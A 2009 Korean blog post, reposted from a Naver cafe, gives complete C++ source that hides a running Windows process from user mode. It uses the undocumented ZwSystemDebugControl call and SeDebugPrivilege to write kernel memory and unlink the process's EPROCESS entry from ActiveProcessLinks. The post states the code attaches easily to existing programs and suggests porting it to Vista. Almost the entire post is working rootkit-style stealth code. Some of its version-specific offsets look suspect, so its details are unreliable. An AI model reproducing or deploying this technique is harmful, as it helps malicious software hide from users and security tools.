커널, 드라이버

프로그래밍단에서 커널단 접근 및 프로세스 숨김

디버그정 2009. 6. 24. 10:58

http://cafe.naver.com/develx/26
위 주소에서 얻어옴...

///////////////////////////////////
어플리케이션 level에서 자신의 커널 level의 정보를 수정, 프로세서 고리를 끊는 방법으로

자기자신을 숨긴다.


별도의 디바이스드라이버를 작성하거나 등록 할 필요가 없어서 기존 프로그램에 손 쉽게 붙일 수 있다.

단지, 이 프로그램.... VISTA에서 안 돌아간다는거...

코드를 좀 수정하면 비스타에서도 가능 할 듯.. (프로세서 구조체의 번지만 다시 찾는다면은...)


// homin.cpp : Defines the entry point for the application.
//

#include "stdafx.h"

#include <malloc.h>
#include <windows.h>

//NTSTATUS값이 0이상이면 보통 성공한 상태를 의미한다
#define NT_SUCCESS(Status)    ((NTSTATUS)(Status) >= 0)
//사이즈를 잘못 맞춘 경우
#define STATUS_INFO_LENGTH_MISMATCH  ((NTSTATUS)0xC0000004L)

//NT함수가 사용하는 리턴 값인 NTSTATUS는 LONG형으로 정의된다
typedef LONG       NTSTATUS;

//원래 값이 엄청 많다
//16은 레퍼런스에는 나와있지 않은 값인데,
//이를 넣을 경우 SYSTEM_HANDLE_INFORMATION을 얻을 수 있다
typedef enum _SYSTEM_INFORMATION_CLASS
{
 SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

//시스템 핸들에 대한 정보를 가지고 있다
typedef struct _SYSTEM_HANDLE_INFORMATION
{
 ULONG   ProcessId;
 UCHAR   ObjectTypeNumber;
 UCHAR   Flags;
 USHORT   Handle;
 PVOID   Object;
 ACCESS_MASK  GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

//가상 메모리에 데이터를 쓰거나 읽을 때 사용하는 구조체이다
typedef struct _MEMORY_CHUNKS
{
 PVOID pVirtualAddress;
 PVOID pBuffer;
 DWORD dwBufferSize;
} MEMORY_CHUNKS, *PMEMORY_CHUNKS;

//ZwSystemDebugControl의 첫 번째 인자
typedef enum _SYSDBG_COMMAND
{
 SysDbgCopyMemoryChunks_0 = 0x08,  //가상 메모리로부터 데이터를 읽을 때
 SysDbgCopyMemoryChunks_1 = 0x09,  //가상 메모리에 데이터를 쓸 때
} SYSDBG_COMMAND;

//DLL로 부터 로드해 사용해야 한다.. windows.h에 정의되어있지 않다
typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) ( IN SYSTEM_INFORMATION_CLASS
                SystemInformationClass,
                IN OUT PVOID SystemInformation,
                IN ULONG SystemInformationLength,
                OUT PULONG ReturnLength OPTIONAL );
typedef NTSTATUS ( __stdcall *ZWSYSTEMDEBUGCONTROL ) ( IN SYSDBG_COMMAND SysDbgChunks,
               IN OUT PMEMORY_CHUNKS pQueryBuff,
               DWORD dwSize, DWORD, DWORD, NTSTATUS *pResult);

//***********************************************************//
// ZwQuerySystemInformation은 시스템 정보를 얻어오는 함수로, //
// 첫 번째 인자에 16을 넘길 경우 현재 로드 되어있는 모든     //
// 핸들의 정보를 얻어오도록 되어있다.                        //
//***********************************************************//
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;

//***********************************************************//
// ZwSystemDebugControl은 시스템 디버그에 관련된 명령을 수행 //
// 하는 함수로, 8또는 9를 넘길 경우 가상 메모리 공간을       //
// 읽거나 쓴다.                                              //
//***********************************************************//
ZWSYSTEMDEBUGCONTROL  ZwSystemDebugControl;

BOOL EnablePrivilege(LPCSTR lpName, HANDLE hProcess);       //알맞는 권한을 획득한다
BOOL GetNativeAPIAddress();              //Native API의 주소를 얻어온다
PSYSTEM_HANDLE_INFORMATION GetProcessSystemHandleInfo(ULONG ulProcessId);  //주어진 프로세스의 시스템 핸들 정보를 얻어온다
BOOL ReadVirtualMemory(PVOID pAddress, PVOID pBuffer, DWORD dwBufferSize);  //가상 메모리 공간을 읽는다
BOOL WriteVirtualMemory(PVOID pAddress, PVOID pBuffer, DWORD dwBufferSize);  //가상 메모리 공간에 데이터를 쓴다
BOOL HideProcess(DWORD dwProcessId);           //프로세스를 숨긴다

BOOL EnablePrivilege(LPCSTR lpName, HANDLE hProcess)
{
 //권한 토큰 구조체
 TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
 //lpName으로 지정된 권한 이름에 대한 LUID를 얻어낸다
 LookupPrivilegeValue(0, lpName, &priv.Privileges[0].Luid);

 //프로세스의 토큰 핸들을 얻고
 HANDLE hToken;
 OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);

 //입력받은 권한으로 프로세스 권한을 바꾼다
 AdjustTokenPrivileges(hToken, FALSE, &priv, sizeof(TOKEN_PRIVILEGES), 0, 0);

 BOOL rv = GetLastError() == ERROR_SUCCESS;

 CloseHandle(hToken);
 return rv;
}

//Native API의 주소를 얻어온다
BOOL GetNativeAPIAddress()
{
 //ntdll.dll로드
 HMODULE hNTDll;

 if( (hNTDll = GetModuleHandle("ntdll.dll")) == NULL )
  if( (hNTDll = LoadLibrary("ntdll.dll")) == NULL )
   return FALSE;

 //ZwQuerySystemInformation로드
 if( (ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(
  hNTDll, "ZwQuerySystemInformation")) == NULL )
  return FALSE;

 //ZwSystemDebugControl로드
 if( (ZwSystemDebugControl = (ZWSYSTEMDEBUGCONTROL)GetProcAddress(
  hNTDll, "ZwSystemDebugControl")) == NULL )
  return FALSE;

 return TRUE;
}

//프로세스의 아이디로 부터 ActiveProcessLinks정보를 가진 EPROCESS구조체의
//가상 메모리 공간상의 주소를 얻어온다
PSYSTEM_HANDLE_INFORMATION GetProcessSystemHandleInfo(ULONG ulProcessId)
{
 NTSTATUS result;
 PVOID pBuffer = NULL;        //데이터를 읽어올 배열
 PSYSTEM_HANDLE_INFORMATION pSystemHandleInfo;  //핸들 정보 배열
 PSYSTEM_HANDLE_INFORMATION pProcessHandle = NULL; //리턴할 값

 //핸들의 수를 모르기 때문에, 적당한 사이즈를 알 수 없다
 //때문에 반복문을 돌면서 그 값을 찾아야 한다
 for( ULONG ulSize=1; ; ulSize *= 2 )
 {
  //정한 사이즈로 메모리를 할당한다
  if( (pBuffer = malloc(ulSize) ) == NULL )
   //실패할 경우 NULL 리턴
   return NULL;

  //시스템에 로드된 모든 핸들의 정보를 조사한다
  result = ZwQuerySystemInformation(SystemHandleInformation, pBuffer, ulSize, NULL);

  //실패할 경우
  if( !NT_SUCCESS(result) )
  {
   //메모리 해제
   free(pBuffer);
   //사이즈를 잘못 정했다면 반복문을 계속 수행한다
   if( result == STATUS_INFO_LENGTH_MISMATCH )
   {
    pBuffer = NULL;
   }
   //사이즈를 제대로 정했는데 실패한 것이라면 NULL을 리턴
   else
   {
    return NULL;
   }
  }
  //성공한 경우
  else
   //반복문을 빠져나간다
   break;
 }

 //읽어온 데이터의 첫 번째 4바이트는 배열의 길이 정보이다
 ULONG ulNumberOfHandles = *(PULONG)pBuffer;
 //다음 4바이트 부터는 SYSTEM_HANDLE_INFORMATION구조체의 배열이다
 pSystemHandleInfo = (PSYSTEM_HANDLE_INFORMATION)((PBYTE)pBuffer + sizeof(ULONG));

 //핸들의 수 만큼 반복문을 돌면서
 for( ULONG i=0; i<ulNumberOfHandles; i++ )
 {
  //입력받은 프로세스의 아이디와 일치하는 프로세스 아이디를 가지는
  //프로세스 핸들을 찾을 경우
  // (SYSTEM_HANDLE_INFORMATION구조체의 ObjectTypeNumber는
  // 오브젝트의 종류를 나타내는 것으로, 5번은 프로세스를 뜻한다)
  if( pSystemHandleInfo[i].ProcessId == ulProcessId &&
   pSystemHandleInfo[i].ObjectTypeNumber == 5 )
  {
   //리턴할 값으로 저장하고 반복문을 빠져나간다
   pProcessHandle = new SYSTEM_HANDLE_INFORMATION;
   memcpy(pProcessHandle, pSystemHandleInfo + i, sizeof(SYSTEM_HANDLE_INFORMATION));
   break;
  }
 }

 //메모리 해제
 if( pBuffer )
  free(pBuffer);

 //찾아낸 값을 리턴
 return pProcessHandle;
}

//가상 메모리 공간을 읽어온다
BOOL ReadVirtualMemory(PVOID pAddress, PVOID pBuffer, DWORD dwBufferSize)
{
 NTSTATUS result;

 //메모리 청크 구조체
 MEMORY_CHUNKS QueryBuff;
 QueryBuff.pVirtualAddress = pAddress; //가상 메모리 주소
 QueryBuff.pBuffer = pBuffer;   //버퍼의 주소
 QueryBuff.dwBufferSize = dwBufferSize; //버퍼의 크기

 //가상 메모리 공간을 읽어서 버퍼에 기록한다
 ZwSystemDebugControl(SysDbgCopyMemoryChunks_0, &QueryBuff,
  sizeof(MEMORY_CHUNKS), NULL, 0, &result);

 return NT_SUCCESS(result);
}

//가상 메모리 공간에 데이터를 쓴다
BOOL WriteVirtualMemory(PVOID pAddress, PVOID pBuffer, DWORD dwBufferSize)
{
 NTSTATUS result;

 //메모리 청크 구조체
 MEMORY_CHUNKS QueryBuff;
 QueryBuff.pVirtualAddress = pAddress; //가상 메모리 주소
 QueryBuff.pBuffer = pBuffer;   //버퍼의 주소
 QueryBuff.dwBufferSize = dwBufferSize; //버퍼의 크기

 //버퍼로 부터 값을 읽어서 가상 메모리 공간에 기록한다
 ZwSystemDebugControl(SysDbgCopyMemoryChunks_1, &QueryBuff,
  sizeof(MEMORY_CHUNKS), NULL, 0, &result);

 return NT_SUCCESS(result);
}

//프로세스를 감춘다
BOOL HideProcess(DWORD dwProcessId)
{
 //OS의 버젼에 따라 EPROCESS내의 ActiveProcessLinks의 오프셋이 다르기 때문에
 //OS의 버젼을 파악하고 그에 따라 오프셋을 맞추어야 한다

 OSVERSIONINFO osvi;
 osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
 //OS의 버젼을 얻어온다
 GetVersionEx(&osvi);

 int nFOffset, nBOffset;
 if( osvi.dwMajorVersion == 5 )
 {
  switch( osvi.dwMinorVersion )
  {
  case 0: //Win2K
   nFOffset = 0xa0;
   nBOffset = 0xa4;
   break;

  case 1: //WinXP
   nFOffset = 0x88;
   nBOffset = 0x8C;
   break;

  case 2: //Win2003
   nFOffset = 0x8a;
   nBOffset = 0x8e;
   break;

  default:
   return FALSE;
  }
 }
 else if( osvi.dwMajorVersion == 4 &&
  osvi.dwMinorVersion == 0 &&
  osvi.dwPlatformId == 2 ) //WinNT
 {
  nFOffset = 0x98;
  nBOffset = 0x9c;
 }
 else
  return FALSE;

 //프로세스를 열어야만 프로세스 핸들이 시스템에 로드된다
 //프로세스를 연다
 OpenProcess(PROCESS_QUERY_INFORMATION, 0, dwProcessId);
 //주어진 프로세스의 시스템 핸들 정보를 얻어온다
 PSYSTEM_HANDLE_INFORMATION pProcessHandle = GetProcessSystemHandleInfo(dwProcessId);

 //잘못된 값을 얻어온 경우 리턴
 if( pProcessHandle == NULL )
  return FALSE;

 //EPORCESS의 가상 메모리 공간상의 주소를 얻어온다
 PVOID pEProcess = pProcessHandle->Object;

 delete pProcessHandle;

 //프로세스 핸들을 얻어온다 - 디버그 권한 설정에 사용된다
 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetCurrentProcessId());

 //디버그 권한을 설정한다
 if( EnablePrivilege(SE_DEBUG_NAME, hProcess) == FALSE )
  return FALSE;

 CloseHandle(hProcess);

 PVOID pFlink;
 PVOID pBlink;

 //ActiveProcessLinks의 Flink와 Blink의 가상 메모리 공간상의 주소를 얻어온다
 if( ReadVirtualMemory((BYTE *)pEProcess + nFOffset, &pFlink, sizeof(PVOID)) )
  if( ReadVirtualMemory((BYTE *)pEProcess + nBOffset, &pBlink, sizeof(PVOID)) )
   //Flink의 Blink에 Blink를, Blink의 Flink에 Flink를 기록하여,
   //프로세스를 리스트에서 제거한다
   if( WriteVirtualMemory((BYTE *)pFlink + sizeof(PLIST_ENTRY), &pBlink, sizeof(PVOID)) )
    if( WriteVirtualMemory((BYTE *)pBlink, &pFlink, sizeof(PVOID)) )
     return TRUE;

 return FALSE;
}


int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
  // TODO: Place code here.
 GetNativeAPIAddress();
 HideProcess(GetCurrentProcessId());

 while(1) {
  ::OutputDebugString("김호민 바보ㅋㅋ");
  Sleep(1000);
 }

 return 0;
}